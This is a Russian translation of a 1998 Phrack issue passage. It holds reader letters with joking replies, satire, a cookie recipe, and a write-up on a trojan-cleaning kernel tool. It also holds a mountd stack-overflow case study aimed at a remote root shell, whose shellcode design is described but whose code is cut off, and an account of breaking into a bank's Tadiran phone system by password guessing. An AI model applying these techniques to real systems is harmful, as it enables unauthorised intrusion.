[Вы отстой.]

0x1c

Я не очень знаю, с кем связаться по этому поводу. Это комплимент всему журналу Phrack по поводу ситуации с owning.

Рад видеть, что вы, ребята, нормально к этому относитесь. Не знаю, смог ли бы я отнестись к этому так же хорошо. Но это однозначно достойно уважения. Я и многие другие люди уже и так очень уважали Phrack Magazine... но теперь я определённо уважаю Phrack ещё намного больше.

[Чувак, ещё немного уважения к нам — и вы официально заслужите «Премии Phrack Magazine за Супер-Лизоблюдство». Это престижная награда, вручаемая лишь избранным. Вы определённо в числе претендентов.]

SPy109

0x1d

сэр

когда я скачиваю что-то с вашей страницы, это выглядит как X, O и прямоугольники.

[О. Вы, видимо, по ошибке попали на наш сервер крестиков-ноликов. Попробуйте ещё раз ввести URL.]

пробовал ms/word, блокнот/ и без толку. можете помочь, ещё ищу статью о том, как попасть через чёрный ход AOL

[Думаю, в офисе в Вирджинии есть один, на втором этаже. Это офис Пенски, и он никогда не запирает свою дверь, этот чёртов идиот.]

из моего офиса домой через Интернет.

[О. В таком случае, вы пробовали очень-очень сильно пожелать? Это обычно помогает мне.]

чтобы следить за супругой, которая, по-моему, мне изменяет.

[О, могу вас заверить, ваша супруга ничего хорошего не замышляет. Думаю, вам определённо стоит развестись и забрать детей.]

спасибо

0x1e

[P53-07: Скрытый кейлоггер для Windows]

Дражайший Phrack,

Прочитал «Скрытый кейлоггер для Windows» в Phrack 53.7. Хм? Просто вызовите SetWindowsHookEx(). Это встроено прямо в операционную систему. Позволяет перехватывать нажатия клавиш. Это просто. Работает даже на Windows NT.

Нет никакой необходимости перехватывать прерывания или писать куски встроенного ассемблерного кода.

Документация объясняет, как работает SetWindowsHookEx(). Если этого всё ещё недостаточно, в Microsoft SDK есть примеры программ, которые перехватывают нажатия клавиш.

- Iskra

0x1f

Я вижу и слышу всё это о хакерах; однако никогда не вижу и/или не слышу о том, как это делается.

[Как ниндзя, настоящие хакеры окутаны тайной и секретностью. Вы можете никогда этого не узнать — ПОКА НЕ БУДЕТ СЛИШКОМ ПОЗДНО.]

Причина, по которой я спрашиваю — скоро-бывшая-жена, которая украла у меня деньги, которыми я

[Вы ирландец?]

веду свой бизнес. Я знаю, что она положила деньги в банк где-то в моём родном городе. Есть ли способ узнать, в каком банке, если я знаю её SSN?

[Спорю, что она одна из тех огненных ирландских красавиц с волнистыми рыжими волосами и блестящими зелёными глазами. Как думаете, она обратила бы на меня

внимание? Сколько денег она у вас стащила... Достаточно, чтобы сбежать и завалить меня подарками?]

Phrack 54 — Linenoise (Шум на линии)

Автор: Various (Разные авторы)

0x1>-----

Мирный саммит r00t/h4g1s — 1998

В цифровом мире, омрачённом раздорами и конфликтами, было вполне закономерно, что две мега-супердержавы цифрового андеграунда встретились на мирной конференции там, где можно было разделить трубку мира. Среди уютной тишины мельниц Голландии представители обеих сторон обосновались на неделю переговоров в самом сердце Амстердама.

День 1:

В туалетах амстердамского аэропорта Шлиптайнхайнекинофиен рисуют фальшивых мух (летающих, не тех, что с молнией) — потому что, как всем известно, хакер не может устоять перед хорошей мишенью. Следующей остановкой был наш официальный приём в отеле Ibis. Я вошёл в номер и оказался лицом к лицу с семьёю самыми известными и опасными хакерами из ныне живущих. Сердце моё забилося, и все потовые железы тела разом дали выход в один гигантский оргазмический миг. И тут я начал кашлять...

День 2:

Горло моё было серьёзно сожжено после предыдущего дня, проведённого в «кофейных» лавках, где мы законно покупали марихуану с такими названиями, как «Элитный Будда» и «Zero Day». На второй день мы приступили к серьёзным переговорам. Наша миссия состояла в том, чтобы заключить перемирие — обеспечить свободное перемещение наших пакетов через Интернет без ограничений, изменений и слежки. H4g1s потребовал от r00t поставки «-1 Day» в обмен на мир.

r00t запросил «-1 day» у ушлого уличного человека, который всё время напоминал нам нашего брата из r00t — X. Уличный торговец, назовём его Outlaw, показал нам какие-то таблетки, но они не были тем, что искал h4g1s. Мы решили двигаться дальше. Однако у Outlaw были свои планы. Он хотел свои 25 гульденов, чтобы отнести свой аспирин к X (для незнакомых: гульден — денежная единица Нидерландов, по виду напоминает монополийные деньги, с той разницей, что гульден реально ничего не стоит, тогда как монополия — это весело!). Мы отказали, и Чико разозлился. Он начал говорить нам: «У НАС СКОРО БУДУТ ПРОБЛЕМЫ». После этого всё начинало «СТАНОВИТЬСЯ ОЧЕНЬ СЕРЬЁЗНЫМ». Наконец Чико совсем вышел из себя, разбил пивную бутылку и начал буйствовать — и r00t с h4g1s заключили временное перемирие и дали дёру.

Свернув несколько раз за угол, мы обнаружили, что безумный уличный торговец гонится за нами с осколком бутылки в руке холодной зимней ночью. Мы оказались в «квартале красных фонарей» — физическом эквиваленте того места в Интернете, где можно купить проституток, — и прохожие смотрели на нас странно, пока нас гнали по улицам.

День 4:

Мы проспали день 4.

День 3:

В Амстердаме творилось что-то очень странное. Примечательнее всего то, что день 3 наступил ПОСЛЕ дня 4. Не спрашивайте меня как. Возможно, это было связано с грибами из контейнера «Inner Visions», которые мы употребили в надежде продвинуть переговоры. Мы поиграли в Ultima Online, только без компьютеров. Кажется, в какой-то момент этого дня было странное посещение

стейкхауса, но подробностей я привести не могу.

День 5:

Всё в мире — это энергия, вибрирующая с разной частотой. Если мы найдём способ заставить нашу материю вибрировать с постоянно возрастающей скоростью, мы сможем преодолеть физическую вселенную и войти в цифровую плоскость. Думаю, нам нужно переключиться обратно в прошедшее время. Избавившись от Outlaw, мы возобновили переговоры за «космическими пирожными» (это как пирожное, или маффин, или пончик, только с Zero Day внутри).

День 6:

Я думал, мы съели все грибы ещё в День Пи! Ладно. С вещами легче справляться, когда у тебя есть видение. Видение — это просто галлюцинация, вызванная энергетическими волнами, скачущими у тебя в голове. Голова у тебя крутая. COOL — это никчёмная акция. EBAY безумно переоценён. Так же как M3. Mach 3 — крутые бритвы. Бритвы острые. Острые MD-плееры слишком толстые. Как и то, что у Марка. И длинное!

—*r00t & h4g1s*

0x2>-----

Случай из практики: переполнение стека Linux MOUNTD

Ничего нового здесь нет, но код является образцовым примером того, как делаются переполнения буфера. Даже если вы читали другие статьи о переполнениях буфера, вы можете найти здесь что-то ценное. А может и нет. Исследуемый случай — уязвимость Linux nfsd/mountd, упомянутая в предупреждении CERT от 28 августа.

nuuB

```
/*
 * mountd-spoit.c - Эксплойт для Linux mountd-2.2beta29+ (и более ранних версий).
 *                  Предоставляет удалённую командную оболочку с правами root.
 *
 * Очищен, задокументирован и отправлен в Phrack 3 сентября 1998 года.
 *
 * Я включил краткое введение в переполнения стека и оставил много комментариев
 * в коде, так что если вы не знаете, как работают эти эксплойты с переполнением стека,
 * воспользуйтесь этой возможностью чему-то научиться.
 *
 * Не составляет труда расширить код (или использовать скрипты), чтобы получить нечто,
 * автоматически сканирующее подсети или списки IP-адресов в поиске уязвимых систем.
 * Это оставляется как упражнение для предприимчивых молодых хакеров.
 *
 * Вам понадобятся следующие RPC-файлы для вашей архитектуры:
 *
 *   nfsmount.h
 *   nfsmount_xdr.c
 *
 * Их можно сгенерировать из 'mount.x' утилитой 'rpcgen'. Я просто взял файлы,
 * которые поставлялись предварительно сгенерированными с Linux 'mount'. Они
 * включены в uuencoded-виде, но могут не работать на вашей конкретной системе.
 * Не пишите мне по этому поводу.
 *
 * Компиляция:
 *
 * cc mountd-spoit.c nfsmount_xdr.c -o mountd-spoit
 *
 * Развлекайтесь, но, как всегда, ВЕДИТЕ СЕБЯ ПРИЛИЧНО!
 *
 * /nuuB
 *
```

*/

/*

КРАТКОЕ ВВЕДЕНИЕ В ПЕРЕПОЛНЕНИЯ СТЕКА

~~~~~

Прочитайте статью Aleph1 в Phrack Issue 49 File 14 (P49-14) для подробного объяснения того, как писать эксплойты (примеры приведены для Linux/i386, но методология применима к любому Unix и может быть адаптирована для других ОС, как только вы поймёте технику). Если вы нацелились на одну из ОС Билла, посмотрите cDc #351: "The Tao of Windows Buffer Overflow" by DilDog.

Свойства, которыми мы пользуемся:

- \* Страницы памяти стека имеют установленный бит выполнения
- \* Адреса возврата из функций хранятся на стеке по более высокому адресу, чем локальные переменные.

#### КАРТА ПАМЯТИ

```
-- Начало стека (т.е. дно стека — верх памяти) напр. 0xc0000000 --
<переменные окружения>
<стековые фреймы от main() до функции, вызывающей нашу>
<аргументы уязвимой функции>
<** адрес возврата **>
<указатель фрейма предыдущего фрейма — если не скомпилировано с -fomit-frame-pointer>
<локальные переменные уязвимой функции>
-- Верх стека (меньший адрес памяти) напр. 0xbffff9c8 --
```

#### ПЕРЕПОЛНЕНИЕ

Трюк заключается в том, чтобы переполнить локальную переменную, которая задаётся через функцию, не проверяющую переполнение (strcpy, sprintf и т.д.). Подав слишком длинную строку, вы можете перезаписать память по более высоким адресам, т.е. ближе к началу стека. В частности, мы хотим перезаписать <\*\* адрес возврата \*\*> указателем, который ведёт обратно в стек, содержащий код, который мы хотим выполнить. Размещение кода на стеке выполняется путём включения его в строку, которой мы переполняем буфер, или путём помещения в переменную окружения.

Код может делать что угодно, но стандартом является вызов execl() для оболочки. Часто существуют ограничения на то, как может выглядеть код, чтобы его можно было разместить на стеке без искажений (длина, toupper(), tolower(), нулевые байты, обрезание пути и т.д.). Всё зависит от того, как целевая программа обрабатывает подаваемые нами данные. Будьте готовы к некоторой возне, чтобы избежать определённых байтовых паттернов и заставить код использовать адресацию относительно PC/IP.

Строка переполнения (называемая «яйцом») обычно передаётся целевой программе через аргументы командной строки, переменные окружения, TCP-соединения или UDP-пакеты.

#### ВОЗМОЖНЫЕ ОСЛОЖНЕНИЯ

Иногда вы будете уничтожать другие локальные переменные своим яйцом (зависит от того, как компилятор расположил переменные в стеке). Если использовать достаточно длинное яйцо, можно также уничтожить аргументы функции. Поскольку ваш код не выполняется до возврата уязвимой функции (а не при возврате функции, непосредственно выполняющей переполнение, например strcpy()), вы должны убедиться, что повреждённые переменные не вызовут сбой до возврата. Это означает, что ваше яйцо, вероятно, должно быть выровнено идеально — то есть использовать только один обратный указатель и предварять его «правильными» значениями для уничтожаемых локальных переменных. К сожалению, порядок переменных часто зависит от использованных опций компилятора. В частности, оптимизация может всё перетасовать. Это означает, что ваш эксплойт иногда должен быть нацелен на конкретный набор опций.

В большинстве случаев уничтожение других локальных переменных не является проблемой, но когда-нибудь вы наверняка с этим столкнётесь.

#### ОБРАТНЫЙ УКАЗАТЕЛЬ

Единственная оставшаяся проблема — угадать правильный адрес для перехода (т.е. обратный указатель). Это делается либо методом проб и ошибок, либо путём изучения исполняемого файла (требует доступа к системе, идентичной целевой). Хороший способ

получить разумное начальное значение — выяснить, сколько переменных окружения есть у целевого процесса (подсказка: используйте 'ps uxawwwwwwww') и сопоставить это с базовым указателем стека (это можно выяснить с помощью однострочной программы, показывающей значение указателя стека). Чтобы увеличить шансы на успех, принято заполнять начало яйца опкодами NOP, так что если указатель случайно окажется где-то в яйце до основного кода, он выполнит NOPs, а затем код.

Вот и всё.

```
*/

/*
 * Теперь вернёмся к нашему случаю.
 *
 * Цель: rpc.mountd:logging.c
 *
 * void Dprintf(int kind, const char *fmt, ...) {
 *     char buff[1024];
 *     va_list args;
 *     time_t now;
 *     struct tm *tm;
 *
 *     if (!(kind & (L_FATAL | L_ERROR | L_WARNING))
 *         && !(logging && (kind & dbg_mask)))
 *         return;
 *
 *     ...
 *     vsprintf(buff, fmt, args);    <-- Здесь происходит переполнение.
 *     ...
 *     if (kind & L_FATAL)
 *         exit(1);
 * }    <-- Здесь (надеемся) выполняется наш код
 *
 * Эта функция вызывается (например) из mountd.c в svc_req() следующим образом:
 *
 * #ifdef WANT_LOG_MOUNTS
 *     Dprintf(L_WARNING, "Blocked attempt of %s to mount %s\n",
 *            inet_ntoa(addr), argbuf);
 * #endif
 *
 * Отлично (WANT_LOG_MOUNTS, судя по всему, определён по умолчанию). Тип
 * L_WARNING всегда логируется, и всё что нам нужно — попытаться смонтировать
 * что-то, что нам не разрешено (т.е. пока мы не включены в /etc/exports,
 * нас будут логировать, и у нас будет возможность вызвать переполнение).
 *
 * Единственное осложнение — первый %s, который нам придётся компенсировать
 * в яйце (наши указатели должны быть выровнены правильно).
 *
 * Мы используем 5 указателей, чтобы избежать проблем, связанных с тем, как
 * компилятор организовал переменные в стеке, и был ли исполняемый файл
 * скомпилирован с -fomit-frame-pointer или без.
 *
 * 3 другие локальные переменные (size=3*4) + 1 frame-pointer + 1 return pointer = 5
 *
 * В яйце всё равно остаётся достаточно места для NOPs. Нам нужно убедиться, что
 * если три другие переменные будут уничтожены, это не вызовет проблем. Изучая
 * функцию, мы видим, что 'now' и 'tm' инициализируются после vsprintf() и потому
 * не являются проблемой. Однако есть вызов 'va_end(args)' для завершения обработки
 * многоточия, который может быть проблематичным. К счастью, под Linux это NOP.
 * Наконец, мы могли бы уничтожить один из аргументов — 'kind' или 'fmt'. Последний
 * никогда не используется после vsprintf(), но 'kind' вызовет exit(1) (плохо!),
 * если kind & L_FATAL истинно (L_FATAL=0x0008). Снова нам везёт. 'kind' упоминается
 * ранее в функции и в нескольких других местах, поэтому компилятор любезно поместил
 * его в регистр. Таким образом, мы можем уничтожать аргументы сколько угодно.
 *
 * На самом деле, если вы изучите исполняемые файлы mountd в распространённых
 * дистрибутивах, вы обнаружите, что вам не нужно уничтожать вообще никаких
 * переменных, поскольку 'buffer' размещается прямо перед указателем фрейма и
 * адресом возврата. Мы могли бы использовать простое яйцо с одним указателем,
 * и на практике это работало бы так же хорошо.
 *
```



```

* Всё это «везение» на самом деле довольно типично и является причиной того,
* почему большинство переполнений буфера легко написать так, чтобы они
* работали в большинстве случаев.
*
* Итак. Доставка яйца осуществляется через протокол RPC. Я не буду вдаваться
* в подробности здесь. Если вам интересно — изучите исходники задействованных
* серверов и клиентов. Половина удовольствия — разобраться, как поместить яйцо
* на место.
*
* Последний элемент головоломки — это непрерывная передача данных с локального
* терминала через TCP-соединение в оболочку и обратно (помните, что мы
* использовали dup2() для подключения stdout/in/err оболочки к TCP-соединению).
*
* Подробности ниже.
*/

```

```

#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/time.h>
#include <sys/types.h>
#include <fcntl.h>
#include <signal.h>

#include <arpa/inet.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <rpc/pmap_prot.h>
#include <rpc/pmap_clnt.h>

#include "nfsmount.h"

```

```

/*
* Сначала нам нужно написать код, который мы хотим выполнить.
*
* Код: setreuid(0, 0); fork(); dup2(0, 1); dup2(0, 2); execve("/bin/sh");
*
* setreuid() вероятно не нужен, но хуже не сделает.
*
* fork() выполняется для смены PID. Это необходимо, так как кто-то — вероятно,
* portmapper — посылает сигналы mountd (оболочка не имеет обработчиков этих
* сигналов и умерла бы).
*
* dup2() подключают stdout/stderr к TCP-сокету.
*
* Код предполагает, что 'mountd' взаимодействует с клиентом через дескриптор
* ноль. Так и есть, когда он запущен как демон, но может быть иначе, если
* он запущен из inetd (мне не хватило терпения это проверить). В таком случае
* dup2() может потребоваться изменить.
*
* Для Linux/i386 получим:
*/

```

*(Примечание: далее в оригинале идёт ассемблерный код, обрезанный артефактом форматирования исходника.)*

---

0x3>-----

## Элитное печенье с шоколадной крошкой

*by Juliet*

Печенье с шоколадной крошкой — это старый эксплойт. Его можно использовать для подкупа учителей, системных администраторов, начальников и даже фэбээровцев. Никогда не

недооценивайте печенье. Представьте себе: маленькая девочка подходит к вам в NOC и предлагает домашнее печенье с шоколадной крошкой! Должно быть, чья-то секретарша... или кто-то вроде того... вот это да, она вас здорово провела... в общем — испеките их... они вкусные... НЕ заменяйте ингредиенты... разве только M&M вместо шоколадных чипсов...

#### **Ингредиенты:**

- 1 стакан (плотно набитый) тёмно-золотистого сахара
- ½ стакана сахара
- ½ стакана твёрдого растительного жира, комнатной температуры
- ½ стакана (1 пачка) несолёного сливочного масла, комнатной температуры
- 2 крупных яйца
- 1 столовая ложка ванильного экстракта
- 3 стакана пшеничной муки высшего сорта
- 1 чайная ложка соды
- 1 чайная ложка соли
- 1 пакет (340 г) полусладких шоколадных чипсов

#### **Приготовление:**

Разогрейте духовку до 175°C. С помощью миксера взбейте оба вида сахара, жир и масло в большой миске до светлой пышной массы. Добавьте яйца и ваниль и взбейте. В отдельной большой миске смешайте муку, соду и соль. Добавьте сухие ингредиенты к масляной смеси и перемешайте до однородности. Вмешайте шоколадные чипсы.

Выкладывайте тесто столовыми ложками с горкой на большие тяжёлые противни, оставляя расстояние 5 см между печеньями. Выпекайте до золотистого цвета, около 12 минут. Переставьте противни на решётки; охладите 5 минут. Переложите печенье на решётки и полностью остудите.

Получается около 42 печений... или можно испечь ОДНО БОЛЬШОЕ печенье на весь противень.

---

0x4>-----

## **Tadiran; Компьютерно-телефонная интеграция (CTI)**

*Blakboot*

### **Введение**

Всем привет. Эта статья посвящена главным образом программному и аппаратному обеспечению Tadiran Telecommunications, используемому для синхронизации компьютерных приложений с телефонными звонками. Я буду ссылаться на системную версию 9.63.03.01 и любые её варианты просто как на «Tadiran». Из личного опыта работы с такими системами я обнаружил, что их можно настроить на выполнение самых разных задач — от таймеров транков до музыки на удержании.

Несмотря на то что это очень мощная система, Tadiran лишён базовой безопасности. Это недопустимо, особенно когда речь идёт о поставщике мировых технологий для всех видов отраслей, включая банковское дело.

Именно проблема отсутствия безопасности и побудила меня написать эту статью. Tadiran очень уязвим для вторжения.

## Как всё началось

Мой друг-фрик Mf-Map и я сканировали петли и нашли несущую. Мы немного покопались в системе, пока наш интерес не угас и не увёл нас в другое место.

Несколько месяцев спустя, от скуки, я набрал номер системы с намерением запустить по ней словарный файл с умеренной скоростью (Tadiran требует только пароль для аутентификации).

Я просто откинулся и ждал... После долгого времени, к моей радостной неожиданности, пароль был взломан! Я (как и многие до меня) исполнил тот самый ликующий победный танец.

Система Tadiran довольно загадочна без документации. Тем не менее мне удалось найти кое-что интересное. Система, в которую мне удалось попасть, принадлежала СТИ-системе известного банка. Основные уязвимости (на данный момент — я планирую написать более подробную статью):

- Неограниченное количество попыток ввода пароля.
- Нет имён пользователей.
- Запрос пароля, который отвечает, что называется, незамедлительно.

Ниже приведены скриншоты системы Tadiran.

## Система

```
Запрос пароля:      ENTER PASSWORD
Сообщение об ошибке: ILL PASSWORD , TRY AGAIN !
Приглашение системы: *:
Среда:              Древовидные меню; меню ветвятся от корня и далее.
```

-Это корневое меню, отправляемое при входе.-

```
(ROOT)
CCS      9.63.03.01      SMDI & 24SDT
Copyright (c) 1991-1997 Tadiran Telecommunications Ltd.
NAME - xxxxxxxxxx
SAU # -   xxxx
  0-CONFIG
  1-DIAGN
  2-TABLES
  3-ADMIN
  4-ROUTING/COST
  5-ISDN
  6-DATA
  7-CoraLINK
  8-NETWORK
  9-HELP
```

Любое из меню/опций можно выбрать по номеру или имени.

Управляющие клавиши:

```
^C / ESC  ----- Вернуться на 1 меню назад.

^T  -----  Отображает информацию об аккаунте и системе.
          ПРИМЕР:

                  CCS: xxxxxxxx  xxx-xx-1998 10:48pm
                  Terminal No.: 4, Password level: 0
                  Software Version:  9.63.03.01      SMDI & 24SDT

^P  ----- Повторный вход.
```

*(Есть и другие клавиши — похоже, они связаны с эмуляцией и прокруткой.)*

## Описания меню — для справки

Это список глобально доступных меню, доступных по вводу "HELP". Все групповые имена замаскированы "X".

[Таблица из 48 записей — опущена]

**PI MESSAGES** — Настройка терминала, диагностика/стимуляция.

**47/8T CARD\_DB** — Информация о картах. Пример:

```
LS_RING_PAUS (sec)- 5
GS_RING_PAUS (sec)- 1
O/G BREAK_TIME(ms)- 60
O/G MAKE_TIME (ms)- 40
O/G INTERDGT_T(ms)- 800
GS_DISCONNECT (ms)- 800
METER (4TMR) :
f0 (0=16K,1=12K,2=50Hz)- 0
f0 ACCURACY +/- (1-10)% - 3
METER_AFTER_DISCONNECT (Y/N) - N
```

**ALT ROUT TK.GRP** — Добавить, отобразить, обновить или удалить группу транков.

**BUSY PORTS** — Отображает занятые порты.

**CARD DATA-BASE** — Список подменю карты, из которых можно получить/обновить данные.

**CARD LIST** — Пример:

| shelf#/slot# | p_type  | i_type  | card_db# | vers/subver | status |
|--------------|---------|---------|----------|-------------|--------|
| 0 / 1        | NO_CARD | NO_CARD | ---      | ---         | ---    |
| 0 / 2        | 8DTR/S  | NO_CARD | ---      | 17 8        | ACTIVE |
| 0 / 3        | T1      | T1      | 1        | 14 38       | ACTIVE |

**CLASS OF SERVICE** — ST/TK и АТТ показывают всевозможную информацию о контроле транков. TENANTS занимается групповым доступом.

**COST\_CALC.** — Информация о стоимости определённых услуг в разное время.

**DIGITAL TRUNK** — Информация о карте/транке, конфигурация, сигнализация каналов.

**KEY DEFINITION** — Конфигурация телефона. Пример:

```
prm_cos- 1      sec_cos- 1      priv_libs- 12      terminal- N
origin-  N      block-  N      o/g_tk_rest- N      privacy- Y
excl_hold- N    hard_hold- N    last_num- Y      security- N
att- Y          auto_unatt- N    passcode- NONE    check_out- N
multi_app- Y    m.a.mute_ring- Y    mute_ring- Y
auto_ans- N      idle_disp.- Y    keyclick- Y      music- Y
music_num- 0     v_page_in- Y      auto_ans_v_p- Y    auto_hld/xfer/off-1
spkr_on/off- Y   blind_att- N      pcc- Y            pc_acd- N
mic- Y           comb_audio- N    display_size- NO_DSP language-DEFAULT
but_num- 2       ksi- N            ksi_type- 0
eis- N          send_id- Y      ali- NONE         aoc-e_display- N
alert_makecall- N
active_dpem_id's- NONE    installed_dpems- 1
dkt: spkr_environment- 1
music_on_hold - 0
```

**KEYSET TIMERS** — Пример:

```
1 unit = 0.1 sec.

AUTO_ANSWER - 10
AUTO_ANS_V_PAGE - 10
TONE_TO_IDLE - 10
AOC-E_DISPLAY - 300
MUTE_RING - 50
```

**FEAT. & AUTH** — Авторизации и системные функции. Проверяйте здесь, активна ли трассировка вызовов или определение номера.

**FEATURE TIMERS** — Довольно интересно. Пример:

```

* (1 unit =1.0 sec)
** (1 unit =0.1 sec)
*** (1 unit =0.01 sec)
*AUTO_REDIAL- 30
*REMIND_SNOOZE- 60
*WAKEUP_SNOOZE- 60
**WAKEUP_RING - 300
**NET_FEATURE_ACK- 40
**SUSP_OFFHK- 5
BELL_RING:
**ON_BELL - 10
**OFF_BELL - 20
**ATT.MSG- 50
**EXPENSIVE_ROUTE_TONE - 10
**RING- 100
**SUPV_RECALL- 3600
**CONF_SUPV_RECALL- 1800
**BREAK_IN/OUT- 10
BREAKIN_WARNING:
**ON - 1
**OFF - 20

```

**GROUPS** — Список подменю групп.

**IST/SLT CARD\_DB** — Информация о звонках.

**IST/SLT DEF.** — Информация о линии слота. Пример:

```

prm_cos- 0 sec_cos- 0 priv_libs- 3 terminal- N
origin- N block- N o/g_tk_rest-N privacy- Y
excl_hold-N hard_hold- N last_num- Y security- N
att- N auto_unatt-N passcode- NONE check_out- N
type- 1 announcer- N multi_app- N send_id- Y
ali- NONE opx- N hf_relevant-Y music_on_hold-0

```

**LCR/ROUTING** — Библиотеки, обновление или отображение.

**NUMBERING PLAN** — Линии и их функции: UPDATE, DISPLAY, ADD, REMOVE или SHOW.

**STATION TIMERS** — Пример:

```

1 unit = 0.1 sec.
RING- 450
MULT_APR_RING- 200
BUSY- 1200
REORDER- 50
CONFIRM- 30
DVMS- 200
HOLD- 6000
HARD_HOLD- 1200
PARK- 1200
PAGE_Q- 600
1st_DGT - 100
INTERDGT- 150
FEAT_DIAL- 700
HKFLS_FILTER- 10
MAGNETO_AUTO_ANS- 30
CF_NO_ANS- 200

```

**SYSTEM GEN** — Меню:

```

(SYSGEN)
0-INSTALL
1-SIZES_DEF
2-SIZES_TAB
3-SPEED_CALLS (MCC only)
4-MUSIC
5-TIME_SLOTS (4GC only)
0-TRUNK_CALLS_OUTGOING

```

**SYSTEM FEATURES** — Входящие звонки на транк, опции станции, перехват/неполные, переадресация, ожидание вызова, гостиница, сообщения, тоны, диагностика, ISDN, сеть и

беспроводная связь.

#### ТОНЕ ПЛАН — Пример:

| NO | NAME       | TYPE | #SEG | 1TN | Msec | 2TN | Msec | 3TN | Msec | 4TN | Msec | 5TN | Msec | 6TN | Msec |
|----|------------|------|------|-----|------|-----|------|-----|------|-----|------|-----|------|-----|------|
| 0  | Busy       | 3    | 2    | 3   | 500  | 0   | 500  | 0   | 0    | 0   | 0    | 0   | 0    | 0   | 0    |
| 1  | Dial       | 1    | 0    | 1   | 0    | 0   | 0    | 0   | 0    | 0   | 0    | 0   | 0    | 0   | 0    |
| 2  | Distinct.  | 1    | 0    | 4   | 0    | 0   | 0    | 0   | 0    | 0   | 0    | 0   | 0    | 0   | 0    |
| 3  | Reorder    | 3    | 2    | 3   | 240  | 0   | 240  | 0   | 0    | 0   | 0    | 0   | 0    | 0   | 0    |
| 4  | Ringback   | 3    | 2    | 2   | 2000 | 0   | 4000 | 0   | 0    | 0   | 0    | 0   | 0    | 0   | 0    |
| 5  | Silence    | 1    | 0    | 0   | 0    | 0   | 0    | 0   | 0    | 0   | 0    | 0   | 0    | 0   | 0    |
| 6  | Tick       | 3    | 2    | 5   | 60   | 0   | 1000 | 0   | 0    | 0   | 0    | 0   | 0    | 0   | 0    |
| 8  | Confirm    | 3    | 2    | 1   | 100  | 0   | 100  | 0   | 0    | 0   | 0    | 0   | 0    | 0   | 0    |
| 9  | BRK_In/Out | 1    | 0    | 5   | 0    | 0   | 0    | 0   | 0    | 0   | 0    | 0   | 0    | 0   | 0    |
| 11 | V.P Conf   | 3    | 2    | 3   | 100  | 5   | 100  | 0   | 0    | 0   | 0    | 0   | 0    | 0   | 0    |
| 12 | Z.P Warn   | 3    | 2    | 6   | 300  | 3   | 100  | 0   | 0    | 0   | 0    | 0   | 0    | 0   | 0    |
| 14 | LCR_expens | 2    | 6    | 0   | 120  | 5   | 80   | 0   | 120  | 5   | 80   | 0   | 120  | 5   | 80   |
| 15 | LCR_cheap  | 2    | 4    | 0   | 120  | 5   | 80   | 0   | 120  | 5   | 80   | 0   | 0    | 0   | 0    |
| 16 | Call Wait  | 3    | 4    | 5   | 600  | 0   | 5000 | 0   | 5000 | 0   | 5000 | 0   | 0    | 0   | 0    |
| 17 | DISA Dial  | 1    | 0    | 1   | 0    | 0   | 0    | 0   | 0    | 0   | 0    | 0   | 0    | 0   | 0    |

#### TRUNK DEFINITION — Пример:

```
DISA (0-NO /1-IMMED. /2-DELAY)- 0
COS.- 10
TK_TIMER#- 1
TYPE (0-PULSE /1-DTMF /2-MIX)- 1
I/C_ONLY-N
O/G_ONLY-N
BUSY_OUT-N
AUTO_GUARD-N
HOT_IMMED-N
HOT_DELAY-N
DROP_NO_DIAL-N
RSRVD_TO- NONE
CALLER_ID_TIMEOUT - 50
```

#### TRUNK TIMERS — Пример:

```
H.FLASH(10ms)- 67
INCOMING :
E&M_SEIZE_TO_WINK- 1
E&M_CONT_WINK_TIME- 2
OUTGOING :
E&M_CONT_WINK/SG_DELAY- 1
SEIZE_TO_DIAL- 15
SECOND_DIAL_TONE- 60
```

**VFAC** — Обслуживание аккаунтов. Требуется пароль.

---Те, что я не перечислил, были либо самоочевидны, либо неприменимы.

---

0x5>-----

## btrom — byriq

"trojan eraser или я хочу чистую таблицу системных вызовов"

## Введение

Как-то раз я начал играть с itf, который появился в P52-18 (прочитайте ту статью, если хотите знать, что он делает и т.д.). Мне пришло в голову, что один хороший способ определить, установил ли кто-то троян (и впоследствии удалить его) — это починить таблицу системных вызовов. Эта программа пытается сделать именно это. Работает с Linux x86 серий 2.0 и 2.2.

## Устройство программы

Программа сначала пытается обнаружить, используете ли вы BIG\_KERNEL (bzImage) или нет (zImage). Одно из отличий — адрес ядра в памяти. BIG\_KERNEL начинается с 0xc0000000, другой — с 0x00100000.

Таблица системных вызовов (sct) содержит записи всех системных вызовов. Если вы модифицируете sct, новая запись должна быть «вне диапазона». btrom попытается исправить эти «выходящие за диапазон» системные вызовы их исходными значениями. Они берутся из System.map. Под «вне диапазона» я имею в виду запись, значение которой находится вне диапазона от начала ядра до начала ядра + некоторое значение. Это значение указано в config.h.

## Быстрая установка

### Компиляция:

- 1) Отредактируйте config.h и Makefile. Измените по желанию.  
□\$ vi config.h  
□\$ vi Makefile
- 2) Сборка  
□\$ make

### Использование:

- 1) Стать root  
□\$ su -
- 2) Установить модуль mbtrom  
□# insmod mbtrom
- 3) Запустить btrom  
□# ./btrom \_nr\_mbtrom\_ [options]
- 4) Удалить модуль mbtrom  
□# rmmmod mbtrom

## Расшифровка символов

### Первая часть: обнаружение троянов

- [ ] всё в порядке. не беспокойтесь
- [N] нулевая запись в таблице системных вызовов. не беспокойтесь.
- [-] запись модуля mbtrom. не беспокойтесь.
- [?] в этой записи есть системная функция, хотя должен быть ноль. беспокойтесь
- [\*] вероятно троян в зарезервированном пространстве. беспокойтесь.
- [!] вероятно троян в незарезервированном пространстве. беспокойтесь.

### Вторая часть: очистка троянов

- <s> нажмите 's' чтобы заполнить запись значением из System.map.
- <c> нажмите 'c' для очистки записи. Будет заполнена нулевой записью.
- <m> нажмите 'm' чтобы вручную ввести hex-адрес.
- <i> нажмите 'i' для игнорирования, пропуска.

## Примечания

Эта программа не удаляет троянские модули. Она отключает трояны, после чего их можно удалить командой rmmmod.

## Известные ошибки

Если `insmod mbtrom` не возвращает никакого значения — значит, вы перенаправляете это сообщение через `syslogd`. Проверьте `/etc/syslog.conf` и раздел "kern".

## История версий

- \* версия 0.3 (01/12/98) совместима с ядром 2.0 и 2.2.  
    работает с BIG\_KERNEL и SMALL  
    английская версия
- \* версия 0.2 (25/11/98) первая версия
- \* версия 0.1 (21/11/98) что-то совсем страшное
- \* всё началось, когда я увидел itf (integrated trojan facility в P52-18)

## Обратная связь

[riq@ciudad.com.ar](mailto:riq@ciudad.com.ar)

### Исходные коды:

```
#
# Makefile для b t r o m
#

## БАГ. Должен совпадать с тем, что в config.h
SYSTEM_MAP = "/usr/src/linux/System.map"

AWK= awk
CC= gcc
